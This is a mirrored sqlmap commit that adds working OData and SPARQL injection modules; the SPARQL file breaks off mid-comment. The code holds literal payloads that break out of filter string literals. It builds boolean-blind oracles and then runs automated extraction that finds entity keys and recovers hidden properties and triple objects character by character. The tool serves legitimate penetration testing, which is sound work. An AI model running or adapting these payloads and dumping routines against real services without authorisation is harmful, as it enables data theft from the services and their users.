mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Adding switches --odata and --sparql
This commit is contained in:
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,566 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
OData injection ('--odata').
|
||||
|
||||
An application that builds an OData '$filter' from user input (?name= -> $filter=Name eq '<name>')
|
||||
hands over the whole filter expression language. Breaking out of the string literal turns the filter
|
||||
into an attacker-controlled boolean, which is a boolean-based blind oracle: the entity set the query
|
||||
returns is populated or empty according to a condition sqlmap controls.
|
||||
|
||||
detect break the literal, then confirm a reproducible true/false differential (1 eq 1 vs 1 eq 2)
|
||||
confirm an OData-only construct (length()/startswith() on a literal) that plain SQL does not parse,
|
||||
so the finding is attributed to OData rather than to ordinary SQL injection
|
||||
extract through the oracle, pin an entity by its key and blindly recover each string property by
|
||||
length + substring binary search - reaching properties the endpoint never $select-ed
|
||||
|
||||
OData is fingerprinted by version: v4 speaks contains(), v2/v3 speak substringof(). Nothing is inferred
|
||||
from a payload merely 'looking like' it worked - every step is a reproducible boolean differential or a
|
||||
value the application cannot produce by itself.
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
from lib.utils.nonsql import resolveBit
|
||||
from lib.utils.nonsql import sqlErrorPresent
|
||||
from lib.utils.nonsql import blockedStatus
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.nonsql import userDecision
|
||||
from lib.utils.nonsql import userOracleActive
|
||||
from lib.core.settings import ODATA_CHAR_MAX
|
||||
from lib.core.settings import ODATA_CHAR_MIN
|
||||
from lib.core.settings import ODATA_COMMON_FIELDS
|
||||
from lib.core.settings import ODATA_ERROR_REGEX
|
||||
from lib.core.settings import ODATA_ERROR_SIGNATURES
|
||||
from lib.core.settings import ODATA_KEY_CANDIDATES
|
||||
from lib.core.settings import ODATA_MAX_KEY
|
||||
from lib.core.settings import ODATA_MAX_LENGTH
|
||||
from lib.core.settings import ODATA_MAX_RECORDS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
ODATA_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
Boundary = namedtuple("Boundary", ("prefix", "suffix"))
|
||||
|
||||
# Detection boundaries, priority-ordered. Each breaks out of the string literal and rebuilds a filter
|
||||
# whose truth is (predicate): the base value matches nothing and the trailing "'1' eq '2'" is false, so
|
||||
# the injected predicate alone decides whether any entity is returned. prefix/suffix wrap a later
|
||||
# predicate for extraction.
|
||||
# (true_break, false_break, prefix, suffix)
|
||||
_BOUNDARY_TABLE = (
|
||||
# single-quoted string literal (OData escapes an inner quote by doubling it, hence no backslashes)
|
||||
("' or (1 eq 1) or '1' eq '2", "' or (1 eq 2) or '1' eq '2", "' or (", ") or '1' eq '2"),
|
||||
# double-quoted string literal (some services accept "..." literals)
|
||||
('" or (1 eq 1) or "1" eq "2', '" or (1 eq 2) or "1" eq "2', '" or (', ') or "1" eq "2'),
|
||||
)
|
||||
|
||||
# Charset for blind character recovery.
|
||||
# NOTE recovery uses EXACT equality (substring(...) eq 'c'), not a '>=' bisection: .NET / OData string
|
||||
# relational comparison is culture-aware and case-folding ('l' and 'L' compare equal), which scrambles a
|
||||
# lexicographic bisection, whereas eq is ordinal and exact. So the set is ordered by real-world frequency
|
||||
# to keep the linear scan short on typical data rather than by codepoint. Because the scan is exact
|
||||
# rather than positional, the order is free and a missing codepoint only costs coverage - it cannot
|
||||
# alias onto a neighbour the way a bisection hole does. Nothing is excluded: the one character OData
|
||||
# cannot carry raw inside a literal, the single quote, is doubled per the spec instead of dropped.
|
||||
_FREQ = (tuple(xrange(ord('a'), ord('z') + 1)) + tuple(xrange(ord('A'), ord('Z') + 1)) +
|
||||
tuple(xrange(ord('0'), ord('9') + 1)) + tuple(ord(_) for _ in " @._-+:/!#$%&*=?"))
|
||||
_CS_ORDS = []
|
||||
for _o in _FREQ:
|
||||
if ODATA_CHAR_MIN <= _o <= ODATA_CHAR_MAX and _o not in _CS_ORDS:
|
||||
_CS_ORDS.append(_o)
|
||||
for _o in xrange(ODATA_CHAR_MIN, ODATA_CHAR_MAX + 1):
|
||||
if _o not in _CS_ORDS:
|
||||
_CS_ORDS.append(_o)
|
||||
|
||||
|
||||
def _literal(ordinal):
|
||||
"""One codepoint as a single-quoted OData string literal (an inner quote is doubled, not escaped)."""
|
||||
return "'%s'" % ("''" if ordinal == 0x27 else chr(ordinal))
|
||||
|
||||
|
||||
def _delim(place):
|
||||
return conf.paramDel or (';' if place == PLACE.COOKIE else '&')
|
||||
|
||||
|
||||
def _confParameters(place):
|
||||
return conf.parameters.get(place) or ""
|
||||
|
||||
|
||||
def _originalValue(place, parameter):
|
||||
# decoded on the way in, re-encoded by _send() on the way out, so the module works in plain text
|
||||
# and a value carrying %XX/'+' round-trips to exactly what the application originally received
|
||||
for pair in _confParameters(place).split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, value = pair.partition('=')
|
||||
if name.strip() == parameter:
|
||||
return urldecode(value, convall=True)
|
||||
return None
|
||||
|
||||
|
||||
def _replaceSegment(place, parameter, value):
|
||||
retVal = []
|
||||
for pair in _confParameters(place).split(_delim(place)):
|
||||
if '=' in pair:
|
||||
name, _, old = pair.partition('=')
|
||||
retVal.append("%s=%s" % (name, value if name.strip() == parameter else old))
|
||||
elif pair:
|
||||
retVal.append(pair)
|
||||
return _delim(place).join(retVal)
|
||||
|
||||
|
||||
def _send(place, parameter, value, raw=False):
|
||||
"""One HTTP request with the target parameter set to `value`, reusing sqlmap's request machinery.
|
||||
`raw=True` keeps a 4xx/5xx body (a $filter parser diagnostic is served as 400) which the boolean
|
||||
oracle must never see.
|
||||
|
||||
The value is URL-encoded (as '--ssti' already does) because a payload metacharacter otherwise never
|
||||
reaches the service intact: a raw '&' is the parameter delimiter, so the request SPLITS and the
|
||||
$filter arrives truncated, and '+' arrives as a space. That is not hypothetical - the character scan
|
||||
emits both as data, and unencoded the '&' probe returned a 400 whose InconclusiveError aborted the
|
||||
WHOLE property, so any value holding one of them dumped as '?'."""
|
||||
|
||||
if conf.delay:
|
||||
time.sleep(conf.delay)
|
||||
|
||||
saved = conf.parameters.get(place, "")
|
||||
conf.parameters[place] = _replaceSegment(place, parameter, _quote(value, safe=""))
|
||||
try:
|
||||
if conf.verbose >= 3:
|
||||
logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value))
|
||||
page, _, code = Request.getPage(raise404=False, silent=True)
|
||||
if not raw and (blockedStatus(code) or (code and code >= 400)):
|
||||
return None
|
||||
return page or ""
|
||||
except Exception as ex:
|
||||
logger.debug("OData probe request failed: %s" % getUnicode(ex))
|
||||
return None
|
||||
finally:
|
||||
conf.parameters[place] = saved
|
||||
|
||||
|
||||
def _isError(page):
|
||||
page = getUnicode(page or "")
|
||||
return bool(re.search(ODATA_ERROR_REGEX, page)) or sqlErrorPresent(page)
|
||||
|
||||
|
||||
def _backendFromError(page):
|
||||
page = getUnicode(page or "")
|
||||
for backend, regex in ODATA_ERROR_SIGNATURES:
|
||||
if re.search(regex, page):
|
||||
return backend
|
||||
return None
|
||||
|
||||
|
||||
def _probeError(place, parameter):
|
||||
"""Break the filter and look for an OData $filter parser diagnostic (served as 400). A hint only."""
|
||||
|
||||
original = _originalValue(place, parameter) or "1"
|
||||
normal = _send(place, parameter, original, raw=True)
|
||||
for suffix in ("'", '"', ")", " eq "):
|
||||
broken = _send(place, parameter, original + suffix, raw=True)
|
||||
if not broken or _ratio(normal, broken) >= UPPER_RATIO_BOUND:
|
||||
continue
|
||||
backend = _backendFromError(broken)
|
||||
if backend and not _isError(normal):
|
||||
return backend, broken
|
||||
return None, None
|
||||
|
||||
|
||||
def _boolean(truthy, falsy):
|
||||
truePage = truthy()
|
||||
if truePage is None or _isError(truePage):
|
||||
return None
|
||||
if _ratio(truePage, truthy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
falsePage = falsy()
|
||||
if falsePage is None or _isError(falsePage):
|
||||
return None
|
||||
if _ratio(falsePage, falsy()) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if userOracleActive():
|
||||
return truePage if (userDecision(truePage) is True and userDecision(falsePage) is False) else None
|
||||
if _ratio(truePage, falsePage) < UPPER_RATIO_BOUND:
|
||||
return truePage
|
||||
return None
|
||||
|
||||
|
||||
def _detectBoolean(place, parameter):
|
||||
for trueBreak, falseBreak, prefix, suffix in _BOUNDARY_TABLE:
|
||||
truePayload = SENTINEL + trueBreak
|
||||
falsePayload = SENTINEL + falseBreak
|
||||
template = _boolean(lambda p=truePayload: _send(place, parameter, p),
|
||||
lambda p=falsePayload: _send(place, parameter, p))
|
||||
if template:
|
||||
return template, truePayload, Boundary(prefix, suffix)
|
||||
return None, None, None
|
||||
|
||||
|
||||
def _wrap(boundary, predicate):
|
||||
return "%s%s%s%s" % (SENTINEL, boundary.prefix, predicate, boundary.suffix)
|
||||
|
||||
|
||||
# OData-only attribution: length()/startswith() over a string LITERAL are OData $filter functions with no
|
||||
# plain-SQL equivalent, so a true/false divergence attributes the finding to OData rather than SQL. No
|
||||
# property name is needed, so this runs before any field is known.
|
||||
_ODATA_PREDICATES = (
|
||||
("length('%s') eq 6" % ("sqlmap"), "length('%s') eq 5" % ("sqlmap")),
|
||||
("startswith('sqlmap','sql')", "startswith('sqlmap','xyz')"),
|
||||
)
|
||||
|
||||
|
||||
def _confirmOData(place, parameter, boundary):
|
||||
for truePred, falsePred in _ODATA_PREDICATES:
|
||||
if _boolean(lambda p=_wrap(boundary, truePred): _send(place, parameter, p),
|
||||
lambda p=_wrap(boundary, falsePred): _send(place, parameter, p)):
|
||||
return True
|
||||
return False
|
||||
|
||||
|
||||
def _fingerprintVersion(oracle):
|
||||
"""v4 speaks contains(); v2/v3 speak substringof(). Whichever parses-and-evaluates names the dialect.
|
||||
|
||||
Both probes are EXPECTED to fail on the dialect that does not own them - an unknown $filter function
|
||||
is a 400, which the oracle can only report as inconclusive. That is a negative answer here, not an
|
||||
error: raising would abort the scan before the finding is even reported, and it would do so on
|
||||
exactly the v2/v3 services the second branch exists to name."""
|
||||
|
||||
for expression, version in (("contains('sqlmap','sql')", "v4"),
|
||||
("substringof('sql','sqlmap')", "v2/v3")):
|
||||
try:
|
||||
if oracle(expression):
|
||||
return version
|
||||
except InconclusiveError:
|
||||
continue
|
||||
return None
|
||||
|
||||
|
||||
def _makeOracle(place, parameter, boundary, truePredicate="(1 eq 1)"):
|
||||
"""Build a boolean oracle whose TRUE model is the result of `truePredicate` and FALSE model is the
|
||||
empty set. For detection the true model is the whole entity set ((1 eq 1)); for per-entity extraction
|
||||
it is a single pinned entity (key eq K), so a `key eq K and <cond>` probe - which returns that one
|
||||
entity or nothing - matches the two models exactly. Returns None when the models are not separable."""
|
||||
|
||||
cache = {}
|
||||
|
||||
def request(payload):
|
||||
if payload not in cache:
|
||||
page = _send(place, parameter, payload)
|
||||
if page is not None and not _isError(page):
|
||||
cache[payload] = page
|
||||
return page
|
||||
return cache[payload]
|
||||
|
||||
truePayload = _wrap(boundary, truePredicate)
|
||||
falsePayload = _wrap(boundary, "(1 eq 2)")
|
||||
trueTemplate = request(truePayload)
|
||||
falseTemplate = request(falsePayload)
|
||||
|
||||
if trueTemplate is None or falseTemplate is None or _isError(trueTemplate) or _isError(falseTemplate):
|
||||
return None
|
||||
if _ratio(trueTemplate, _send(place, parameter, truePayload)) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if _ratio(falseTemplate, _send(place, parameter, falsePayload)) < UPPER_RATIO_BOUND:
|
||||
return None
|
||||
if _ratio(trueTemplate, falseTemplate) >= UPPER_RATIO_BOUND:
|
||||
return None
|
||||
|
||||
def truth(predicate):
|
||||
payload = _wrap(boundary, predicate)
|
||||
page = request(payload)
|
||||
usable = page if (page is not None and not _isError(page)) else None
|
||||
|
||||
def fresh():
|
||||
p = _send(place, parameter, payload)
|
||||
return None if (p is None or _isError(p)) else p
|
||||
return resolveBit(usable, trueTemplate, falseTemplate, fresh)
|
||||
|
||||
truth.template = trueTemplate
|
||||
truth.cache = cache
|
||||
return truth
|
||||
|
||||
|
||||
def _hasErrorSurface(place, parameter, boundary):
|
||||
"""True when an unknown property really does surface as an error. The cheap existence oracle below is
|
||||
an error/no-error split, so on an endpoint that SWALLOWS the service's 400 it answers 'exists' for
|
||||
EVERY name - which reported all 37 candidate properties as reachable and dumped a wall of empty
|
||||
columns. Probing a name that cannot exist tells the two apart in one request."""
|
||||
|
||||
payload = _wrap(boundary, "(%s ne null)" % randomStr(length=12, lowercase=True))
|
||||
page = _send(place, parameter, payload, raw=True)
|
||||
return page is None or _isError(page)
|
||||
|
||||
|
||||
def _fieldExists(place, parameter, boundary, field):
|
||||
"""A property that does not exist makes the whole $filter error (400), while an existing one filtered
|
||||
to false returns 200-empty. So a raw error/no-error split is the existence oracle - but only where
|
||||
_hasErrorSurface() confirmed the endpoint actually leaks that difference."""
|
||||
|
||||
payload = _wrap(boundary, "(%s ne null)" % field)
|
||||
page = _send(place, parameter, payload, raw=True)
|
||||
return page is not None and not _isError(page)
|
||||
|
||||
|
||||
def _fieldExistsBlind(oracle, key, keyValue, field):
|
||||
"""Existence WITHOUT an error surface, for an endpoint that renders a failed $filter as its ordinary
|
||||
empty page. 'length(P) ge 0' is true for any property that exists, while an unknown one makes the
|
||||
whole filter fail and the endpoint then serves exactly the FALSE model - so the boolean oracle
|
||||
separates them cleanly. One request per candidate, same as the error-based check, and it keeps the
|
||||
automatic dump working on a blind target instead of surrendering it."""
|
||||
|
||||
try:
|
||||
return oracle("(%s eq %d and length(%s) ge 0)" % (key, keyValue, field))
|
||||
except InconclusiveError:
|
||||
return False
|
||||
|
||||
|
||||
def _present(place, parameter, boundary, emptyPage, predicate):
|
||||
"""True when `predicate` returns at least one entity, decided by a direct comparison against the known
|
||||
EMPTY page rather than the ratio oracle - used to discover which key values exist WITHOUT assuming a
|
||||
per-entity model yet. A partial/multi-row result is fine here: anything that differs from empty counts
|
||||
as present."""
|
||||
|
||||
page = _send(place, parameter, _wrap(boundary, predicate))
|
||||
if page is None or _isError(page):
|
||||
return False
|
||||
return _ratio(page, emptyPage) < UPPER_RATIO_BOUND
|
||||
|
||||
|
||||
def _lowestKey(place, parameter, boundary, emptyPage, candidate):
|
||||
"""The smallest existing value of a numeric key, found by bisecting on a RANGE predicate.
|
||||
|
||||
Walking up from 1 only works when the keys start near 1. Real services hand out identities from a
|
||||
seed (1000, 100000, an epoch), and the old upward walk gave up after its run of misses and reported
|
||||
'no numeric key property found' on a perfectly dumpable entity set. `ge` answers over a whole range
|
||||
at once, so ~17 requests locate the first key wherever it sits."""
|
||||
|
||||
lo, hi = 0, ODATA_MAX_KEY
|
||||
if not _present(place, parameter, boundary, emptyPage, "(%s ge %d)" % (candidate, lo)):
|
||||
return None
|
||||
while lo < hi:
|
||||
mid = (lo + hi) // 2
|
||||
if _present(place, parameter, boundary, emptyPage, "(%s le %d)" % (candidate, mid)):
|
||||
hi = mid
|
||||
else:
|
||||
lo = mid + 1
|
||||
return lo
|
||||
|
||||
|
||||
def _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface=True):
|
||||
"""Pick a numeric key property and the key values that actually exist (bounded). Every probe stays a
|
||||
single-entity 0/1-row answer, which the per-entity oracle can classify.
|
||||
|
||||
The error-based pre-check only earns its request where the endpoint HAS an error surface; without one
|
||||
it answers 'exists' for every name, so the range probe below - which compares against the known empty
|
||||
page and so needs no error at all - is left to reject the candidate on its own."""
|
||||
|
||||
for candidate in ODATA_KEY_CANDIDATES:
|
||||
if errorSurface and not _fieldExists(place, parameter, boundary, candidate):
|
||||
continue
|
||||
start = _lowestKey(place, parameter, boundary, emptyPage, candidate)
|
||||
if start is None:
|
||||
continue
|
||||
present = []
|
||||
misses = 0
|
||||
value = start - 1
|
||||
# scan upward from the first real key; stop after a run of absent ids (sparse keys) or once
|
||||
# enough are collected
|
||||
while value < ODATA_MAX_KEY and len(present) < ODATA_MAX_RECORDS and misses < 32:
|
||||
value += 1
|
||||
if _present(place, parameter, boundary, emptyPage, "(%s eq %d)" % (candidate, value)):
|
||||
present.append(value)
|
||||
misses = 0
|
||||
else:
|
||||
misses += 1
|
||||
if present:
|
||||
return candidate, present
|
||||
return None, []
|
||||
|
||||
|
||||
def _inferField(oracle, key, keyValue, field, maxLen=ODATA_MAX_LENGTH):
|
||||
"""Blindly recover one string property of the entity pinned by key==keyValue: length by binary
|
||||
search, then each character by bisecting its index in the codepoint-ordered charset. OData substring()
|
||||
is 0-indexed, so character `pos` (1-based) is substring(field,pos-1,1)."""
|
||||
|
||||
pin = "%s eq %d and " % (key, keyValue)
|
||||
try:
|
||||
if not oracle("(%slength(%s) ge 1)" % (pin, field)):
|
||||
return ""
|
||||
lo, hi = 1, maxLen
|
||||
while lo < hi:
|
||||
mid = (lo + hi + 1) // 2
|
||||
if oracle("(%slength(%s) ge %d)" % (pin, field, mid)):
|
||||
lo = mid
|
||||
else:
|
||||
hi = mid - 1
|
||||
length = lo
|
||||
|
||||
chars = []
|
||||
for pos in xrange(length):
|
||||
# exact-match linear scan (eq is ordinal); frequency order keeps it short on typical values
|
||||
recovered = "?"
|
||||
for ordinal in _CS_ORDS:
|
||||
if oracle("(%ssubstring(%s,%d,1) eq %s)" % (pin, field, pos, _literal(ordinal))):
|
||||
recovered = chr(ordinal)
|
||||
break
|
||||
chars.append(recovered)
|
||||
except InconclusiveError:
|
||||
logger.warning("OData extraction aborted for '%s' (oracle inconclusive after retries)" % field)
|
||||
return None
|
||||
return "".join(chars)
|
||||
|
||||
|
||||
def _grid(columns, rows):
|
||||
columns = [getUnicode(_) for _ in columns]
|
||||
rows = [[getUnicode(_) for _ in row] for row in rows]
|
||||
widths = []
|
||||
for index, column in enumerate(columns):
|
||||
width = len(column)
|
||||
for row in rows:
|
||||
if index < len(row):
|
||||
width = max(width, len(getUnicode(row[index])))
|
||||
widths.append(width)
|
||||
separator = "+-" + "-+-".join("-" * _ for _ in widths) + "-+"
|
||||
|
||||
def line(cells):
|
||||
return "| " + " | ".join((getUnicode(cells[index]) if index < len(cells) else "").ljust(widths[index]) for index in xrange(len(columns))) + " |"
|
||||
|
||||
return "\n".join([separator, line(columns), separator] + [line(row) for row in rows] + [separator])
|
||||
|
||||
|
||||
def _dumpEntities(place, parameter, boundary, emptyPage):
|
||||
"""Find a key and the entities that exist, enumerate which common string properties are reachable,
|
||||
then blind-read them for each entity - reaching properties the endpoint never $select-ed. A fresh
|
||||
oracle is calibrated PER entity (true model = that one entity, false model = empty) so a
|
||||
'key eq K and <cond>' probe, which returns that entity or nothing, matches the two models exactly."""
|
||||
|
||||
errorSurface = _hasErrorSurface(place, parameter, boundary)
|
||||
if not errorSurface:
|
||||
logger.debug("this endpoint swallows the service's $filter errors, so property existence is "
|
||||
"decided through the boolean oracle instead of an error/no-error split")
|
||||
|
||||
key, keys = _findKeyAndEntities(place, parameter, boundary, emptyPage, errorSurface)
|
||||
if not key:
|
||||
logger.info("no numeric key property found among %s; reporting detection only"
|
||||
% ", ".join(ODATA_KEY_CANDIDATES[:4]))
|
||||
return
|
||||
|
||||
if errorSurface:
|
||||
reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExists(place, parameter, boundary, _)]
|
||||
else:
|
||||
probe = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, keys[0]))
|
||||
if probe is None:
|
||||
logger.info("property enumeration needs a per-entity oracle this endpoint does not support; "
|
||||
"reporting detection only")
|
||||
return
|
||||
reachable = [_ for _ in ODATA_COMMON_FIELDS if _ != key and _fieldExistsBlind(probe, key, keys[0], _)]
|
||||
|
||||
fields = [key] + reachable
|
||||
logger.info("key property '%s'; %d entit%s; reachable properties: %s"
|
||||
% (key, len(keys), "y" if len(keys) == 1 else "ies", ", ".join(fields)))
|
||||
|
||||
rows = []
|
||||
for value in keys:
|
||||
oracle = _makeOracle(place, parameter, boundary, truePredicate="(%s eq %d)" % (key, value))
|
||||
if oracle is None:
|
||||
continue
|
||||
row = [str(value)]
|
||||
for field in fields[1:]:
|
||||
recovered = _inferField(oracle, key, value, field)
|
||||
row.append("?" if recovered is None else recovered)
|
||||
rows.append(row)
|
||||
|
||||
if rows:
|
||||
conf.dumper.singleString("OData: entities dumped through '$filter' (%d)\n%s"
|
||||
% (len(rows), _grid(fields, rows)))
|
||||
|
||||
|
||||
def odataScan():
|
||||
global SENTINEL
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
|
||||
debugMsg = "'--odata' is self-contained: it detects OData '$filter' injection in HTTP parameters and "
|
||||
debugMsg += "blindly dumps the reachable entities. SQL enumeration switches (--banner, --dbs, "
|
||||
debugMsg += "--tables, --users, --sql-query) are ignored"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
if not conf.paramDict:
|
||||
logger.error("no request parameters to test (use --data, GET params, or similar)")
|
||||
return
|
||||
|
||||
tested = found = 0
|
||||
|
||||
for place in (_ for _ in ODATA_PLACES if _ in conf.paramDict):
|
||||
for parameter in list(conf.paramDict[place].keys()):
|
||||
if conf.testParameter and parameter not in conf.testParameter:
|
||||
continue
|
||||
|
||||
tested += 1
|
||||
logger.info("testing OData injection on %s parameter '%s'" % (place, parameter))
|
||||
|
||||
backendHint, _errorPage = _probeError(place, parameter)
|
||||
if backendHint:
|
||||
logger.info("%s parameter '%s' reaches an OData service (framework: '%s')" % (place, parameter, backendHint))
|
||||
|
||||
template, payload, boundary = _detectBoolean(place, parameter)
|
||||
if not template:
|
||||
continue
|
||||
|
||||
isOData = _confirmOData(place, parameter, boundary) or bool(backendHint)
|
||||
if not isOData:
|
||||
logger.info("%s parameter '%s' shows a boolean differential but no OData-only construct "
|
||||
"confirmed it; not attributing to OData (may be plain SQL injection)"
|
||||
% (place, parameter))
|
||||
continue
|
||||
|
||||
found += 1
|
||||
if conf.beep:
|
||||
beep()
|
||||
|
||||
detectOracle = _makeOracle(place, parameter, boundary)
|
||||
version = _fingerprintVersion(detectOracle) if detectOracle else None
|
||||
backend = backendHint or "Generic OData"
|
||||
versionMsg = " %s" % version if version else ""
|
||||
logger.info("%s parameter '%s' is vulnerable to OData injection (framework: '%s'%s)"
|
||||
% (place, parameter, backend, versionMsg))
|
||||
conf.dumper.singleString("---\nParameter: %s (%s)\n Type: OData injection\n"
|
||||
" Title: OData $filter boolean-based blind\n Payload: %s=%s\n---"
|
||||
% (parameter, place, parameter, payload))
|
||||
|
||||
if detectOracle is None:
|
||||
logger.info("extraction disabled (true/false models not reliably separable); detection stands")
|
||||
continue
|
||||
|
||||
emptyPage = _send(place, parameter, _wrap(boundary, "(1 eq 2)"))
|
||||
if emptyPage is not None:
|
||||
_dumpEntities(place, parameter, boundary, emptyPage)
|
||||
|
||||
if not found:
|
||||
if tested:
|
||||
logger.warning("no parameter appears to be injectable via OData injection (%d tested)" % tested)
|
||||
else:
|
||||
logger.warning("no parameters found to test for OData injection")
|
||||
|
||||
logger.info("OData scan complete")
|
||||
@@ -0,0 +1,8 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
pass
|
||||
@@ -0,0 +1,536 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
"""
|
||||
|
||||
"""
|
||||
SPARQL injection ('--sparql').
|
||||
|
||||
An application that concatenates user input into a SPARQL query hands over the whole graph pattern
|
||||
language, not just a value. The typical surface is a search feature whose input lands inside a string
|
||||
literal in a FILTER (FILTER(?name = "<input>")) or a numeric/term position. Breaking out of that literal
|
||||
turns the FILTER into an attacker-controlled boolean, which is a boolean-based blind oracle: the row the
|
||||
query returns appears or disappears according to a condition sqlmap controls.
|
||||
|
||||
detect break the literal, then confirm a reproducible true/false differential (1=1 vs 1=2)
|
||||
confirm a SPARQL-only construct (isIRI / BOUND-of-a-subquery) that plain SQL does not evaluate,
|
||||
so the finding is attributed to SPARQL rather than to ordinary SQL injection
|
||||
extract through the oracle, blindly recover data from the store: the number of triples and of
|
||||
distinct predicates, each predicate IRI, and a sample of triple OBJECTS - all by
|
||||
STRLEN + SUBSTR binary search behind an EXISTS sub-pattern
|
||||
|
||||
Objects only, deliberately: the objects are where the data sits, the predicates are already enumerated
|
||||
in their own pass, and reassembling whole (subject, predicate, object) rows would mean three independent
|
||||
blind walks per row that all have to agree on the same ordering - triple the request count for the two
|
||||
components that carry the least.
|
||||
|
||||
Everything is confirmed by a reproducible boolean differential or a per-run random value; nothing is
|
||||
inferred from a payload merely "looking like" it worked. The extraction is schema-agnostic: it walks the
|
||||
default graph via COUNT / ORDER BY / OFFSET sub-queries, so it needs no prior knowledge of the ontology.
|
||||
"""
|
||||
|
||||
import re
|
||||
import time
|
||||
|
||||
from collections import namedtuple
|
||||
|
||||
from lib.core.common import beep
|
||||
from lib.core.common import randomStr
|
||||
from lib.core.common import urldecode
|
||||
from lib.core.convert import getUnicode
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import logger
|
||||
from lib.core.enums import CUSTOM_LOGGING
|
||||
from lib.core.enums import PLACE
|
||||
from lib.utils.nonsql import InconclusiveError
|
||||
from lib.utils.nonsql import resolveBit
|
||||
from lib.utils.nonsql import sqlErrorPresent
|
||||
from lib.utils.nonsql import blockedStatus
|
||||
from lib.utils.nonsql import ratio as _ratio
|
||||
from lib.utils.nonsql import userDecision
|
||||
from lib.utils.nonsql import userOracleActive
|
||||
from lib.core.settings import SPARQL_CHAR_MAX
|
||||
from lib.core.settings import SPARQL_CHAR_MIN
|
||||
from lib.core.settings import SPARQL_ERROR_REGEX
|
||||
from lib.core.settings import SPARQL_ERROR_SIGNATURES
|
||||
from lib.core.settings import SPARQL_MAX_LENGTH
|
||||
from lib.core.settings import SPARQL_MAX_PREDICATES
|
||||
from lib.core.settings import SPARQL_MAX_RECORDS
|
||||
from lib.core.settings import UPPER_RATIO_BOUND
|
||||
from lib.request.connect import Connect as Request
|
||||
from lib.utils.xrange import xrange
|
||||
from thirdparty.six.moves.urllib.parse import quote as _quote
|
||||
|
||||
|
||||
SENTINEL = randomStr(length=10, lowercase=True)
|
||||
# a NUMERIC sentinel for the unquoted slot: the base has to be a valid SPARQL term there, and a random
|
||||
# word is not one - it is a syntax error, which is why the numeric boundary could never fire before
|
||||
NUMBER_SENTINEL = randomStr(length=9, alphabet="123456789")
|
||||
|
||||
SPARQL_PLACES = (PLACE.GET, PLACE.POST, PLACE.CUSTOM_POST)
|
||||
|
||||
# What the injected value STARTS with, chosen so the application's own comparison matches nothing and the
|
||||
# injected predicate alone decides whether a row comes back.
|
||||
_BASE_STRING = "string" # a random word, inside the quotes the application already wrote
|
||||
_BASE_NUMBER = "number" # a random integer, for an unquoted numeric/term slot
|
||||
|
||||
Boundary = namedtuple("Boundary", ("prefix", "suffix", "base"))
|
||||
|
||||
# Detection boundaries, priority-ordered. Each breaks out of the user-controlled position and rebuilds a
|
||||
# syntactically valid FILTER whose truth is (predicate). `prefix`/`suffix` wrap a later predicate for
|
||||
# extraction; `sentinel` marks an OR-style boundary (base value matches nothing, so the injected predicate
|
||||
# alone decides whether any row is returned).
|
||||
#
|
||||
# NOTE every boundary is built with SPARQL's `||` and NEVER `&&`: a raw '&' inside a GET value is the
|
||||
# parameter delimiter, so sqlmap would split the request and the query would arrive truncated (a 500 that
|
||||
# looks like a dead oracle). '||' with a base value that matches nothing reduces the FILTER to the
|
||||
# injected predicate, which is exactly what the extraction oracle needs.
|
||||
# (true_break, false_break, prefix, suffix, base)
|
||||
_BOUNDARY_TABLE = (
|
||||
# double-quoted string literal
|
||||
('" || (1=1) || ""!="', '" || (1=2) || ""!="', '" || (', ') || ""!="', _BASE_STRING),
|
||||
# single-quoted string literal
|
||||
("' || (1=1) || ''!='", "' || (1=2) || ''!='", "' || (", ") || ''!='", _BASE_STRING),
|
||||
# numeric / unquoted term (input not wrapped in quotes). Nothing to close and nothing to re-balance:
|
||||
# '=' binds tighter than '||', so FILTER(?x = <num> || (pred)) parses as (?x = <num>) || (pred) and
|
||||
# reduces to the injected predicate because <num> matches no row.
|
||||
(" || (1=1)", " || (1=2)", " || (", ")", _BASE_NUMBER),
|
||||
)
|
||||
|
||||
# Codepoints for blind character recovery. The set is CONTIGUOUS on purpose: the recovery is a
|
||||
# lexicographic '>=' bisection, so a hole does not make the excluded character unrecoverable - it makes
|
||||
